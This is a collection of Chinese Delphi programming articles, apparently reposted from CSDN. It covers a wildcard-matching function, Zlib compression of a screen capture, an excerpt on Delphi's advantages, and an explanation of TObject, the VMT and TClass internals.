continue;
end;
isabclikeax:=false;
break;
end; //ddd
end;//ccc
end;//bbb
end;//aaa

FUNCTION islike(abc,ax:string):boolean;
begin
islike:=isABClikeAX(abc,ax);
end;
FUNCTION widecard(abc,ax:string):boolean;
begin
widecard:=isABClikeAX(abc,ax);
end;

注意USES MATH,因为用到MIN(),也可以用IF语句来代替MIN(),但不够明白.


CSDN_文档中心_Delphi的压缩流与解压流

原作发表在计算机世界日报：

http://www.ccw.com.cn/htm/app/aprog/01_1_12_4.asp

Delphi数据压缩处理

蔡健

mailto:chaijian@21cn.com

Borland公司推出的 RAD开发工具 Delphi 5.0作为 Windows平台上的主流开发工具，其可视化的开发环境和面向对象编程的强大功能已经吸引了无数的开发人员。但是，一些程序员在实际的开发过程中却时常为对大量的数据进行压缩而伤透脑筋，不得不去查找一些高效的压缩算法或在网上查找第三方的控件来实现压缩。难道 Delphi本身没有提供这个功能吗？其实 Delphi的程序设计师早就考虑到了这一点，他们提供了 Zlib.pas和 Zlibconst.pas两个单元文件来解决数据压缩问题，实现了很高的数据压缩比率。这两个文件保存在 Delphi 5.0安装光盘上 \Info\Extras\Zlib目录下，此外，在 Info\Extras\Zlib\Obj目录中还保存了 Zlib.pas单元引用的 Obj文件。下面本文以压缩一个屏幕拷贝为例介绍如何使用这项功能。
解决思路
首先利用屏幕拷贝捕捉到当前整个屏幕的图像，然后在内存中保存为 BMP文件格式。压缩时，使用 TCompressionStream对象对原始图像进行压缩并且保存为自定义的文件格式；解压缩时，使用 TDecompressionStream对象对被压缩的图像进行解压缩，还原为 BMP格式的图像文件。
具体实现
新建一个项目文件，在主单元的接口部分引用 Zlib.pas，在主表单上放置两个按钮 Button1、 Button2，在它们的 OnClick事件中写上相应的过程调用代码。
部分程序源代码如下：
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,StdCtrls, Zlib;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{＄ R＊ .DFM}
1．捕捉全屏幕图像
procedure GetScreen(var Bmp: TBitmap);
var
Dc: HDC;
MyCanvas: TCanvas;
MyRect: TRect;
begin
Dc := GetWindowDC(0);
MyCanvas := TCanvas.Create;
try
MyCanvas.Handle := Dc;
MyRect:=Rect(0， 0,Screen.Width, Screen.Height);
//图像为 24位真彩色，也可根据实际需要调整
Bmp.PixelFormat := pf24bit;
Bmp.Width := MyRect.Right;
Bmp.Height := MyRect.Bottom;
//捕捉整个屏幕图像
Bmp.Canvas.CopyRect(MyRect, MyCanvas, MyRect);
finally
MyCanvas.Handle := 0;
MyCanvas.Free;
ReleaseDC(0, Dc);
end;
end;
2．压缩图像
procedure CompressBitmap(var CompressedStream: TMemoryStream;const CompressionLevel: TCompressionLevel);
var
SourceStream: TCompressionStream;
DestStream: TMemoryStream;
Count: Integer;
Begin
//获得图像流的原始尺寸
Count := CompressedStream.Size;
DestStream := TMemoryStream.Create;
SourceStream:=TCompressionStream.Create
(CompressionLevel, DestStream);
Try
//SourceStream中保存着原始的图像流
CompressedStream.SaveToStream(SourceStream);
//将原始图像流进行压缩， DestStream中保存着压缩后的图像流
SourceStream.Free;
CompressedStream.Clear;
//写入原始图像的尺寸
CompressedStream.WriteBuffer(Count, SizeOf
(Count));
//写入经过压缩的图像流
CompressedStream.CopyFrom(DestStream, 0);
finally
DestStream.Free;
end;
end;
3．还原被压缩图像
procedure UnCompressBitmap(const CompressedStream: TFileStream; var Bmp: TBitmap);
var
SourceStream: TDecompressionStream;
DestStream: TMemoryStream;
Buffer: PChar;
Count: Integer;
Begin
//从被压缩的图像流中读出原始图像的尺寸
CompressedStream.ReadBuffer(Count, SizeOf(Count));
//根据图像尺寸大小为将要读入的原始图像流分配内存块
GetMem(Buffer, Count);
DestStream := TMemoryStream.Create;
SourceStream := TDecompressionStream.Create(CompressedStream);
Try
//将被压缩的图像流解压缩，然后存入 Buffer内存块中
SourceStream.ReadBuffer(Buffer^, Count);
//将原始图像流保存至 DestStream流中
DestStream.WriteBuffer(Buffer^, Count);
DestStream.Position := 0;//复位流指针
//从 DestStream流中载入原始图像流
Bmp.LoadFromStream(DestStream);
finally
FreeMem(Buffer);
DestStream.Free;
end;
end;
4．压缩按钮 OnClick事件
procedure TForm1.Button1Click(Sender: TObject);
var
Bmp: TBitmap;
CompressedStream: TMemoryStream;
begin
Bmp := TBitmap.Create;
CompressedStream := TMemoryStream.Create;
Try
//捕获当前整个屏幕 ,将图像保存至 Bmp对象中 GetScreen(Bmp);
//将 Bmp对象中的图像保存至内存流中
Bmp.SaveToStream(CompressedStream);
//按缺省的压缩比例对原始图像流进行压缩
CompressBitmap(CompressedStream, clDefault);
//将压缩之后的图像流保存为自定义格式的文件
CompressedStream.SaveToFile(‘ C:\cj.dat’ );
finally
Bmp.Free;
CompressedStream.Free;
end;
end;
5．解压缩按钮 OnClick事件
procedure TForm1.Button2Click(Sender: TObject);
var
CompressedStream: TFileStream;
Bmp: TBitmap;
begin
Bmp := TBitmap.Create;
//以文件流的只读方式打开自定义的压缩格式文件
CompressedStream := TFileStream.Create(‘ C:\cj.dat’ , fmOpenRead);
Try
//将被压缩的图像流进行解压缩
UnCompressBitmap(CompressedStream, Bmp);
//将原始图像流还原为指定的 BMP文件
Bmp.SaveToFile(‘ C:\cj.bmp’ );
finally
Bmp.Free;
CompressedStream.Free;
end;
end;
此外 TCompressionStream对象还提供了 CompressionRate属性，该属性用于描述对原始数据进行压缩后的压缩比率，而 OnProgress事件在压缩与解压缩过程中都会被触发，开发人员可以在该事件中编写用于显示进度的代码。
以上代码在 Delphi 5.0中调试运行通过。


CSDN_文档中心_Delphi的优点

//来自<Delphi 5 Developer's Guide>

1.2 Delphi 是什么
我们经常会问这样的问题：“到底什么使得D e l p h i 如此优秀？”和“为什么和别的编程工具相比，我更愿意选择D e l p h i ？”等等。这些年来，我们对这类问题已经得出了两种答案，一长一短。短的就是：高效性。要创建Wi n d o w s 应用程序，使用D e l p h i 是我们能够找到的最为简捷的途径。当然，有些人(老板们和未来的客户们)并不满足于这个答案。因此，我们必须推出我们的详细解答，它阐述了使得D e l p h i 如此高效的综合因素。我们把决定一个软件开发工具效率的因素归结为以下五点：
&#8226; 可视化开发环境的性能。
&#8226; 编译器的速度和已编译代码的效率。
&#8226; 编程语言的功能及其复杂性。
&#8226; 数据库结构的灵活性和可扩展性。
&#8226; 框架对设计和使用模式的扩充。
虽然还有许多其他因素应该包括进去，如配置、文档、第三方的支持等，但我们已发现这是向人们解释我们为什么选择D e l p h i 的最确切、最简单的方式。当然，上述五点也可能包含了一些主观因素，但关键在于：你使用一种特定工具进行开发时，到底能有多大的效率？如图1 - 1 所示，对一种工具的各方面性能进行评估量化( 1 到5 之间)，并分别标在图1 - 1的各条轴线上，最后就能得到一个五边形。五边形的面积越大，则这种工具的效率越高。

毋需告诉你我们使用这种方法得到了什么答案—你自己一试便知！下面让我们来仔细地看一下D e l p h i 在这几方面的性能如何，并把它们和其他Wi n d o w s 开发工具做一比较。

1.2.1 可视化开发环境
可视化开发环境通常分为三个组成部分：编辑器、调试器和窗体设计器。和大多数现代R A D (快速应用开发)工具一样，这三部分是协同工作的。当你在窗体设计器中工作时，D e l p h i 在后台自动为你正在窗体中操纵的控件生成代码。你还可以自己在编辑器中加入代码来定义应用程序的行为，同时还可以在同一个编辑器中通过设置断点和监控点等来调试程序。

总的来说D e l p h i 的编辑器和其他工具的编辑器类似，但它的C o d e I n s i g h t 技术却省去了许多输入工作的麻烦。这一技术是建立在编译器信息之上的，而不是基于像Visual Basic 等使用的类型库，因此应用范围更广泛。虽然D e l p h i 的编辑器也设置了许多不错的配置选项，但我觉得Visual Studio 的编辑器配置余地更大。在版本5 里，D e l p h i 的调试器功能终于赶上了Visual Studio 的调试器，具备了许多先进的功能，如远程调试、过程关联、D L L 和包调试、自动本地监控以及C P U 窗口等。D e l p h i 还支持在调试时随意放置和停靠窗口并把这一状态保存为命令的桌面设置。由此，D e l p h i 的I D E 实现了对调试功能的良好支持。

正如经常在一些集成环境(如V B 和某些J a v a 工具)中见到的那样，一个性能非常完善的调试器的长处就在于：应用程序被调试时能修改它的代码，从而改变它的行为。遗憾的是，由于这种功能在编译成本地代码时过于复杂而无法实现，故不能为D e l p h i 所支持。
对R A D 工具(如D e l p h i 、Visual Basic 、C + + B u i l d e r 和P o w e r B i l d e r 等)来说，窗体设计器是一项独特的功能。一些更为经典的开发环境，如V C + +和B C + +，都提供了对话编辑器，但却没有将窗体设计器集成到开发流程中。由图1 - 1 的效率图可以看出，没有窗体设计器将会降低开发工具的整体效率。几年可视的来，D e l p h i 和Visual Basic 在完善窗体设计器的功能方面展开了激烈的竞争。它们的新版本功能一个比一个强。D e l p h i 的窗体设计器的与众不同之处在于，D e l p h i 是建立在一个真正面向对象的框架结构基础之上的。这样，你对基类所做的改变都将会传递给所有的派生类。这里涉及的一项关键技术就是VFI(visual form inheritance)，即可视化窗体继承。V F I 技术使你能够动态地继承当前项目或对象库中的任何其他窗体。一旦基窗体发生改变，派生的窗体会立即予以更新。在第4 章“应用程序框架和设计”中有对这一重要功能的详细解释。

1.2.2 编译器的速度和已编译代码的效率
快速的编译器可以使你逐步递进地开发软件，经常地修改源代码、重新编译、测试、再修改、再编译、再测试. . . . . .形成这样一个良好的开发循环。如果编译速度很慢，开发者就不得不分批地修改代码，每次编译前进行多处修改以适应一个低效率的循环过程。提高运行效率、节约运行时间、生成的二进制代码更为短小，其优越性是不言而喻的。

也许P a s c a l 编译器最著名的特点就是速度快，而D e l p h i 正是建立在这种编译器的基础之上的。事实上，它可能是针对Wi n d o w s 的最快的高级语言本地代码编译器。以往速度很慢的C + +编译器在近年来取得了很大的进步，增加了链接和各种缓存策略，尤其是在Visual C++和C + + B u i l d e r 中。但即便如此，C + +的编译器还是比D e l p h i 的慢了几倍。

编译速度一定能与运行效率成正比吗？当然不是。D e l p h i 和C + + B u i l d e r 共享同一种编译器后端，因此生成的代码等效于由一个优秀的C + +编译器生成的代码。根据最新的可靠评估标准，Visual C++在许多场合都被认为在编译速度和生成代码长度方面是最有效的，这得益于一些极为有力的优化措施。虽然对通常的应用程序开发来说，这些细小的优越性难以被注意到，但如果你正在编写复杂的计算代码，那么它们就会发挥作用。

Visual Basic 的编译技术有点特别。在开发过程中，V B 以一种集成的方式运作，而且反应相当敏锐。这种编译器速度比较慢，生成的可执行代码的效率也远远不及D e l p h i 和C + +工具。

J a v a 是另一种有趣的语言。最新的基于J a v a 的工具语言J B u i l d e r 和Visual J++自称其编译速度能赶
得上D e l p h i ，但是生成代码的执行效率却不尽人意，因为J a v a 是一种集成语言。虽然J a v e 在稳步地前进，但在大多数场合，其运行速度却仍与D e l p h i 和C + +相距甚远。

1.2.3 编程语言的功能及其复杂性
在旁观者的眼里，一种语言的功能和复杂程度是极为重要的，这也是许多争论的热点。对这个人来说简单的东西，对那个人来说可能很难；对这个人来说功能有限的东西，对另一个人来说却可能是非常完美的。因此，以下几点仅源于作者个人的经验和体会。

从根本上来说，汇编是一种最有力的语言。用它你几乎无所不能。但是，即便是用汇编开发最简单的应用程序，难度也非常大，还可能一无所获。不仅如此，要想在一个小组开发环境中保留一段汇编代码，不管保留多长时间，有时也是根本不可能的。因为代码从一个人传给另一个人、再到下一个人，设计思想和意图越来越不明朗，直到代码看起来如同天书。因此，我们对汇编的评价很低，它虽然功能很强大，但对几乎所有的开发者来说都太复杂了。

C + +是另一种极为有力的语言。在它的潜在功能(如预处理器宏、模板、操作符加载等等)的帮助下，你几乎可以使用C + +设计你自己的语言。只要合理地使用其丰富的功能选项，就可以开发出简洁直观、易于维护的代码。然而，问题是，许多的开发者总滥用这些功能，这就很容易导致发生重大错误。事实上，写出糟糕的C + +代码反倒比写出好的C + +代码更容易。因为这种语言自己不会朝着好的设计方向前进—这由开发者决定。

Object Pascal 和J a v a 给我们的感觉很相似，因为它们很好地把握住了复杂性和功能性的平衡。它们都采取了这样一种途径，即限制其可用功能以加强开发者的逻辑设计。例如，两者都避免了完全面向对象但却容易被滥用的多重继承的观念，而是实现了一个执行多重接口功能的类。两者都不支持美观却危险的操作符加载。两者都有一些强大的功能，诸如异常处理、运行期类型信息( RT T I )和生存期内存自管理字符串。同时，两种语言都不是由专门的编委会写出来的，而是来自于单个组织中对这种语言有着共同理解的的个人或小组。

Visual Basic 最初是为了使编程初学者入门更容易、进步更快而设计的(名字也由此而来)。但是作为一种语言，V B 也要不断地取长补短，这使得它近年来也变得越来越复杂了。为了对开发者隐藏这些细节，V B 仍然保留了一些向导以创建复杂的项目。

1.2.4 数据库结构的灵活性和可扩展性
由于B o r l a n d 缺少一种数据库计划，因此D e l p h i 保留了我们认为是所有工具中最灵活的数据库结构。对大多数基于本地、客户/服务器和O D B C 数据库平台的应用程序来说，B D E 的功能都非常强大。如果你对此不满意，可以避开使用B D E 以支持新的本地A D O 组件。如果你没有装A D O ，可以自己创建数据访问类或者购买第三方数据访问解决方案。此外，M I D A S 使对数据源的多层访问更易于实现。M i c r o s o f t 的工具( O D B C 、OLE DB 或者其他)从逻辑上来说趋向于支持M i c r o s o f t 自己的数据库和数据访问解决方案。

1.2.5 框架对设计和使用模式的扩充
这是一项经常被其他软件设计工具忽略了的重要功能。V C L 是D e l p h i 最重要的组成部分。在设计时操纵组件、创建组件、使用O O (面向对象)技术继承其他组件的行为，这些能力都是决定D e l p h i 效率的关键因素。在许多场合，编写V C L 组件都采用固定的O O 设计方法。相比之下，其他基于组件的框架经常过于死板或过于复杂。比如A c t i v e X 控件具有和V C L 控件相同的设计期性能，但却不能被继承以创建一个具有其他不同行为的新类。传统的类框架，如O W L 和M F C ，需要你有大量的内部结构知识，而且如果没有R A D 工具的设计期支持，其功能将会受到抑制。将来能够与V C L 的功能相媲美的一个工具是Visual J++的W F C ( Windows Foundation Classes)，即Wi n d o w s 基础类。但是由于Sun Microsystems 对J a v a 问题的诉讼仍悬而未决，Visual J++的前景还不明确。


CSDN_文档中心_DELPHI的原子世界(1)

DELPHI的原子世界(1)

by Jie

在使用DELPHI开发软件的过程中，我们就像草原上一群快乐牛羊，无忧无虑地享受着Object Pascal语言为我们带来的阳光和各种VCL控件提供的丰富的水草。抬头望望无边无际蔚蓝的天空，低头品尝大地上茂密的青草，谁会去想宇宙有多大，比分子和原子更小的东西是什么？那是哲学家的事。而哲学家此时正坐在高高的山顶上，仰望宇宙星云变换，凝视地上小虫的爬行，蓦然回头，对我们这群吃草的牛羊点头微笑。随手扯起一根小草，轻轻地含在嘴里，闭上眼睛细细品尝，不知道这根青草在哲学家的嘴里是什么味道？只是，他的脸上一直带着满意的微笑。
认识和了解DELPHI微观的原子世界，可以使我们彻底理解DELPHI的宏观应用程序结构，从而在更广阔的思想空间中开发我们的软件。这就好像，牛顿发现了宏观物体的运动，却因为搞不清物体为什么会这样运动而苦恼，相反，爱因斯坦却在基本粒子规律和宏观物体运动之间体验着相对论的快乐生活！

第一节 TObject原子
TObject是什么？
是Object Pascal语言体系结构的基本核心，也是各种VCL控件的起源。我们可以认为，TObject是构成DELPHI应用程序的原子之一，当然，他们又是由基本Pascal语法元素等更细微的粒子构成。
说TObject是DELPHI程序的原子，是因为TObject是DELPHI编译器内部支持的。所有的对象类都是从TObject派生的，即使你并未指定TObject为祖先类。TObject被定义在System单元，它是系统的一部分。在System.pas单元的开头，有这样的注释文本：
{ Predefined constants, types, procedures, }
{ and functions (such as True, Integer, or }
{ Writeln) do not have actual declarations.}
{ Instead they are built into the compiler }
{ and are treated as if they were declared }
{ at the beginning of the System unit. }
它的意思说，这一单元包含预定义的常量、类型、过程和函数（诸如：Ture、Integer或Writeln），它们并没有实际的声明，而是编译器内置的，并在编译的开始就被认为是已经声明的定义。你可以将Classes.pas或Windows.pas等其他源程序文件加入你的项目文件中进行编译和调试其源代码，但你绝对无法将System.pas源程序文件加入到你的项目文件中进行编译！DELPHI将报告重复定义System的编译错误！
因此，TObject是编译器内部提供的定义，对于我们使用DELPHI开发程序的人来说，TObject是原子性的东西。
TObject在System单元中的定义是这样的：
TObject = class
constructor Create;
procedure Free;
class function InitInstance(Instance: Pointer): TObject;
procedure CleanupInstance;
function ClassType: TClass;
class function ClassName: ShortString;
class function ClassNameIs(const Name: string): Boolean;
class function ClassParent: TClass;
class function ClassInfo: Pointer;
class function InstanceSize: Longint;
class function InheritsFrom(AClass: TClass): Boolean;
class function MethodAddress(const Name: ShortString): Pointer;
class function MethodName(Address: Pointer): ShortString;
function FieldAddress(const Name: ShortString): Pointer;
function GetInterface(const IID: TGUID; out Obj): Boolean;
class function GetInterfaceEntry(const IID: TGUID): PInterfaceEntry;
class function GetInterfaceTable: PInterfaceTable;
function SafeCallException(ExceptObject: TObject;
ExceptAddr: Pointer): HResult; virtual;
procedure AfterConstruction; virtual;
procedure BeforeDestruction; virtual;
procedure Dispatch(var Message); virtual;
procedure DefaultHandler(var Message); virtual;
class function NewInstance: TObject; virtual;
procedure FreeInstance; virtual;
destructor Destroy; virtual;
end;

下面，我们将逐步敲开TObject原子的大门，看看里面到底是什么结构。

我们知道，TObject是所有对象的基本类，那么，一个对象到底是什么？
DELPHI中的任何对象都是一个指针，这个指针指明该对象在内存中所占据的一块空间！虽然，对象是一个指针，可是我们引用对象的成员时却不用写成这样的代码MyObject^.GetName，而只能写成MyObject.GetName，这是Object Pascal语言扩充的语法，是由编译器支持的。使用C++ Builder的朋友就很清楚对象与指针的关系，因为在C++ Builder的对象都要定义为指针。对象指针指向的地方就是对象存储数据的对象空间，我们来分析一下对象指针指向的内存空间的数据结构。
对象空间的头4个字节是指向该对象类的虚方法地址表（VMT – Vritual Method Table）。接下来的空间就是存储对象本身成员数据的空间，并按从该对象最原始祖先类的数据成员到该对象类的数据成员的总顺序，和每一级类中数据成员的定义顺序存储。
类的虚方法地址表（VMT）保存从该类的原始祖先类派生到该类的所有类的虚方法的过程地址。类的虚方法，就是用保留字vritual声明的方法，虚方法是实现对象多态性的基本机制。虽然，用保留字dynamic声明的动态方法也可实现对象的多态性，但这样的方法不保存在虚方法地址表（VMT）中，它只是Object Pascal提供的另一种可节约类存储空间的多态实现机制，但却是以牺牲调用速度为代价的。
即使，我们自己并未定义任何类的虚方法，但该类的对象仍然存在指向虚方法地址表的指针，只是地址项的长度为零。可是，在TObject中定义的那些虚方法，如Destroy、FreeInstance等等，又存储在什么地方呢？原来，他们的方法地址存储在相对VMT指针负方向偏移的空间中。其实，在VMT表的负方向偏移76个字节的数据空间是对象类的系统数据结构，这些数据结构是与编译器相关的，并且在将来的DELPHI版本中有可能被改变。
因此，你可以认为，VMT是一个从负偏移地址空间开始的数据结构，负偏移数据区是VMT的系统数据区，VMT的正偏移数据是用户数据区（自定义的虚方法地址表）。TObject中定义的有关类信息或对象运行时刻信息的函数和过程，一般都与VMT的系统数据有关。
一个VMT数据就代表一个类，其实VMT就是类！在Object Pascal中我们用TObject、TComponent等等标识符表示类，它们在DELPHI的内部实现为各自的VMT数据。而用class of保留字定义的类的类型，实际就是指向相关VMT数据的指针。
对我们的应用程序来说，VMT数据是静态的数据，当编译器编译完成我们的应用程序之后，这些数据信息已经确定并已初始化。我们编写的程序语句可访问VMT相关的信息，获得诸如对象的尺寸、类名或运行时刻的属性资料等等信息，或者调用虚方法或读取方法的名称与地址等等操作。
当一个对象产生时，系统会为该对象分配一块内存空间，并将该对象与相关的类联系起来，于是，在为对象分配的数据空间中的头4个字节，就成为指向类VMT数据的指针。
我们再来看看对象是怎样诞生和灭亡的。看着我三岁的儿子在草地上活蹦乱跳，正是由于亲眼目睹过生命的诞生过程，我才能真真体会到生命的意义和伟大。也只有那些经历过死别的人，才会更加理解和珍惜生命。那么，就让我们理解一下对象的产生和消亡的过程吧！
我们都知道，用下面的语句可以构造一个最简单对象：
AnObject := TObject.Create;
编译器将其编译实现为：
用TObject对应的VMT为依据，调用TObject的Create构造函数。而在Create构造函数调用了系统的ClassCreate过程，系统的ClassCreate过程又通过存储在类VMT调用NewInstance虚方法。调用NewInstance方法的目的是要建立对象的实例空间，因为我们没有重载该方法，所以，它就是TObject类的NewInstance。TObjec类的NewInstance方法将根据编译器在VMT表中初始化的对象实例尺寸（InstanceSize），调用GetMem过程为该对象分配内存，然后调用InitInstance方法将分配的空间初始化。InitInstance方法首先将对象空间的头4个字节初始化为指向对象类对应VMT的指针，然后将其余的空间清零。建立对象实例之后，还调用了一个虚方法AfterConstruction。最后，将对象实例数据的地址指针保存到AnObject变量中，这样，AnObject对象就诞生了。
同样，用下面的语句可以消灭一个对象：
AnObject.Destroy;
TObject的析构函数Destroy被声明为虚方法，它也是系统固有的虚方法之一。Destory方法首先调用了BeforeDestruction虚方法，然后调用系统的ClassDestroy过程。ClassDestory过程又通过类VMT调用FreeInstance虚方法，由FreeInstance方法调用FreeMem过程释放对象的内存空间。就这样，一个对象就在系统中消失。
对象的析构过程比对象的构造过程简单，就好像生命的诞生是一个漫长的孕育过程，而死亡却相对的短暂，这似乎是一种必然的规律。
在对象的构造和析构过程中，调用了NewInstance和FreeInstance两个虚函数，来创建和释放对象实例的内存空间。之所以将这两个函数声明为虚函数，是为了能让用户在编写需要用户自己管理内存的特殊对象类时（如在一些特殊的工业控制程序中），有扩展的空间。
而将AfterConstruction和BeforeDestruction声明为虚函数，也是为了将来派生的类在产生对象之后，有机会让新诞生的对象呼吸第一口新鲜空气，而在对象消亡之前可以允许对象完成善后事宜，这都是合情合理的事。其实，TForm对象和TDataModule对象的OnCreate事件和OnDestroy事件，就是在TForm和TDataModule重载的这两个虚函数过程分别触发的。
此外，TObjec还提供了一个Free方法，它不是虚方法，它是为了那些搞不清对象是否为空（nil）的情况下能安全释放对象而专门提供的。其实，搞不清对象是否为空，本身就有程序逻辑不清晰的问题。不过，任何人都不是完美的，都可能犯错，使用Free能避免偶然的错误也是件好事。然而，编写正确的程序不能一味依靠这样的解决方法，还是应该以保证程序的逻辑正确性为编程的第一目标！
有兴趣的朋友可以读一读System单元的原代码，其中，大量的代码是用汇编语言书写的。细心的朋友可以发现，TObject的构造函数Create和析构函数Destory竟然没有写任何代码，其实，在调试状态下通过Debug的CPU窗口，可清楚地反映出Create和Destory的汇编代码。因为，缔造DELPHI的大师门不想将过多复杂的东西提供给用户，他们希望用户在简单的概念上编写应用程序，将复杂的工作隐藏在系统的内部由他们承担。所以，在发布System.pas单元时特别将这两个函数的代码去掉，让用户认为TObject是万物之源，用户派生的类完全从虚无中开始，这本身并没有错。虽然，阅读DELPHI的这些最本质的代码需要少量的汇编语言知识，但阅读这样的代码，可以让我们更深刻认识DELPHI世界的起源和发展的基本规律。即使看不太懂，能起码了解一些基本东西，对我们编写DELPHI程序也是大有帮助。

第二节 TClass原子
在System.pas单元中，TClass是这样定义的：
TClass = class of TObject;
它的意思是说，TClass是TObject的类。因为TObject本身就是一个类，所以TClass就是所谓的类的类。
从概念上说，TClass是类的类型，即，类之类。但是，我们知道DELPHI的一个类，代表着一项VMT数据。因此，类之类可以认为是为VMT数据项定义的类型，其实，它就是一个指向VMT数据的指针类型！
在以前传统的C++语言中，是不能定义类的类型的。对象一旦编译就固定下来，类的结构信息已经转化为绝对的机器代码，在内存中将不存在完整的类信息。一些较高级的面向对象语言才可支持对类信息的动态访问和调用，但往往需要一套复杂的内部解释机制和较多的系统资源。而DELPHI的Object Pascal语言吸收了一些高级面向对象语言的优秀特征，又保留可将程序直接编译成机器代码的传统优点，比较完美地解决了高级功能与程序效率的问题。
正是由于DELPHI在应用程序中保留了完整的类信息，才能提供诸如as和is等在运行时刻转换和判别类的高级面向对象功能，而类的VMT数据在其中起了关键性的核心作用。有兴趣的朋友可以读一读System单元的AsClass和IsClass两个汇编过程，他们是as和is操作符的实现代码，以加深对类和VMT数据的理解。

......
后面的内容还有对虚构造函数的理解，Interface的实现机制和异常处理的实现机制，等等DLPHI的基本原理。希望五一之后能写完，再贡献给大家。


CSDN_文档中心_DELPHI的原子世界(2)

DELPHI的原子世界(2)

第二节 TClass原子
在System.pas单元中，TClass是这样定义的：
TClass = class of TObject;
它的意思是说，TClass是TObject的类。因为TObject本身就是一个类，所以TClass就是所谓的类的类。
从概念上说，TClass是类的类型，即，类之类。但是，我们知道DELPHI的一个类，代表着一项VMT数据。因此，类之类可以认为是为VMT数据项定义的类型，其实，它就是一个指向VMT数据的指针类型！
在以前传统的C++语言中，是不能定义类的类型的。对象一旦编译就固定下来，类的结构信息已经转化为绝对的机器代码，在内存中将不存在完整的类信息。一些较高级的面向对象语言才可支持对类信息的动态访问和调用，但往往需要一套复杂的内部解释机制和较多的系统资源。而DELPHI的Object Pascal语言吸收了一些高级面向对象语言的优秀特征，又保留可将程序直接编译成机器代码的传统优点，比较完美地解决了高级功能与程序效率的问题。
正是由于DELPHI在应用程序中保留了完整的类信息，才能提供诸如as和is等在运行时刻转换和判别类的高级面向对象功能，而类的VMT数据在其中起了关键性的核心作用。有兴趣的朋友可以读一读System单元的AsClass和IsClass两个汇编过程，他们是as和is操作符的实现代码，以加深对类和VMT数据的理解。
有了`类的类型，就可以将类作为变量来使用。可以将类的变量理解为一种特殊的对象，你可以象访问对象那样访问类变量的方法。例如：我们来看看下面的程序片段：
type
TSampleClass = class of TSampleObject;
TSampleObject = class( TObject )
public
constructor Create;
destructor Destroy; override;
class function GetSampleObjectCount:Integer;
procedure GetObjectIndex:Integer;
end;

var
aSampleClass : TSampleClass;
aClass : TClass;

在这段代码中，我们定义了一个类TSampleObject及其相关的类类型TSampleClass，还包括两个类变量aSampleClass和aClass。此外，我们还为TSampleObject类定义了构造函数、析构函数、一个类方法GetSampleObjectCount和一个对象方法GetObjectIndex。
首先，我们来理解一下类变量aSampleClass和aClass的含义。
显然，你可以将TSampleObject和TObject当作常量值，并可将它们赋值给aClass变量，就好象将123常量值赋值给整数变量i一样。所以，类类型、类和类变量的关系就是类型、常量和变量的关系，只不过是在类的这个层次上而不是对象层次上的关系。当然，直接将TObject赋值给aSampleClass是不合法的，因为aSampleClass是TObject派生类TSampleObject的类变量，而TObject并不包含与TSampleClass类型兼容的所有定义。相反，将TSampleObject赋值给aClass变量却是合法的，因为TSampleObject是TObject的派生类，是和TClass类型兼容的。这与对象变量的赋值和类型匹配关系完全相似。
然后，我们再来看看什么是类方法。
所谓类方法，就是指在类的层次上调用的方法，如上面所定义的GetSampleObjectCount方法,它是用保留字class声明的方法。类方法是不同于在对象层次上调用的对象方法的，对象方法已经为我们所熟悉，而类方法总是在访问和控制所有类对象的共同特性和集中管理对象这一个层次上使用的。在TObject的定义中，我们可以发现大量的类方法，如ClassName、ClassInfo和NewInstance等等。其中，NewInstance还被定义为virtual的，即虚的类方法。这意味作你可以在派生的子类中重新编写NewInstance的实现方法，以便用特殊的方式构造该类的对象实例。
在类方法中你也可使用self这一标识符，不过其所代表的含义与对象方法中的self是不同的。类方法中的self表示的是自身的类，即指向VMT的指针，而对象方法中的self表示的是对象本身，即指向对象数据空间的指针。虽然，类方法只能在类层次上使用，但你仍可通过一个对象去调用类方法。例如，可以通过语句aObject.ClassName调用对象TObject的类方法ClassName，因为对象指针所指向的对象数据空间中的头4个字节又是指向类VMT的指针。相反，你不可能在类层次上调用对象方法，象TObject.Free的语句一定是非法的。
值得注意的是，构造函数是类方法，而析构函数是对象方法！
什么？构造函数是类方法，析构函数是对象方法！有没有搞错？
你看看，当你创建对象时分明使用的是类似于下面的语句：
aObject := TObject.Create;
分明是调用类TObject的Create方法。而删除对象时却用的下面的语句：
aObject.Destroy;
即使使用Free方法释放对象，也是间接调用了对象的Destroy方法。
原因很简单，在构造对象之前，对象还不存在，只存在类，创建对象只能用类方法。相反，删除对象一定是删除已经存在的对象，是对象被释放，而不是类被释放。
最后，顺便讨论一下虚构造函数的问题。
在传统的C++语言中，可以实现虚析构函数，但实现虚构造函数却是一个难题。因为，在传统的C++语言中，没有类的类型。全局对象的实例是在编译时就存在于全局数据空间中，函数的局部对象也是编译时就在堆栈空间中映射的实例，即使是动态创建的对象，也是用new操作符按固定的类结构在堆空间中分配的实例，而构造函数只是一个对已产生的对象实例进行初始化的对象方法而已。传统C++语言没有真正的类方法，即使可以定义所谓静态的基于类的方法，其最终也被实现为一种特殊的全局函数，更不用说虚拟的类方法，虚方法只能针对具体的对象实例有效。因此，传统的C++语言认为，在具体的对象实例产生之前，却要根据即将产生的对象构造对象本身，这是不可能的。的确不可能，因为这会在逻辑上产生自相矛盾的悖论！
然而，正是由于在DELPHI中有动态的类的类型信息，有真正虚拟的类方法，以及构造函数是基于类实现的等等这些关键概念，才可实现虚拟的构造函数。对象是由类产生的，对象就好象成长中的婴儿，而类就是它的母亲，婴儿自己的确不知道自己将来会成为什么样的人，可是母亲们却用各自的教育方法培养出不同的人，道理是相通的。
正是在TComponent类的定义中，构造函数Create被定义为虚拟的，才能使不同类型的控件实现各自的构造方法。这就是TClass创造的类之类概念的伟大，也是DELPHI的伟大。

......................................

第三章 WIN32的时空观
我的老父亲看着地上玩玩具的小孙子，然后对我说：“这孩子和小时的你一样，喜欢把东西拆开，看过究竟才罢手”。想想我小时侯，经常将玩具车、小闹钟、音乐盒，等等，拆得一塌糊涂，常常被母亲训斥。
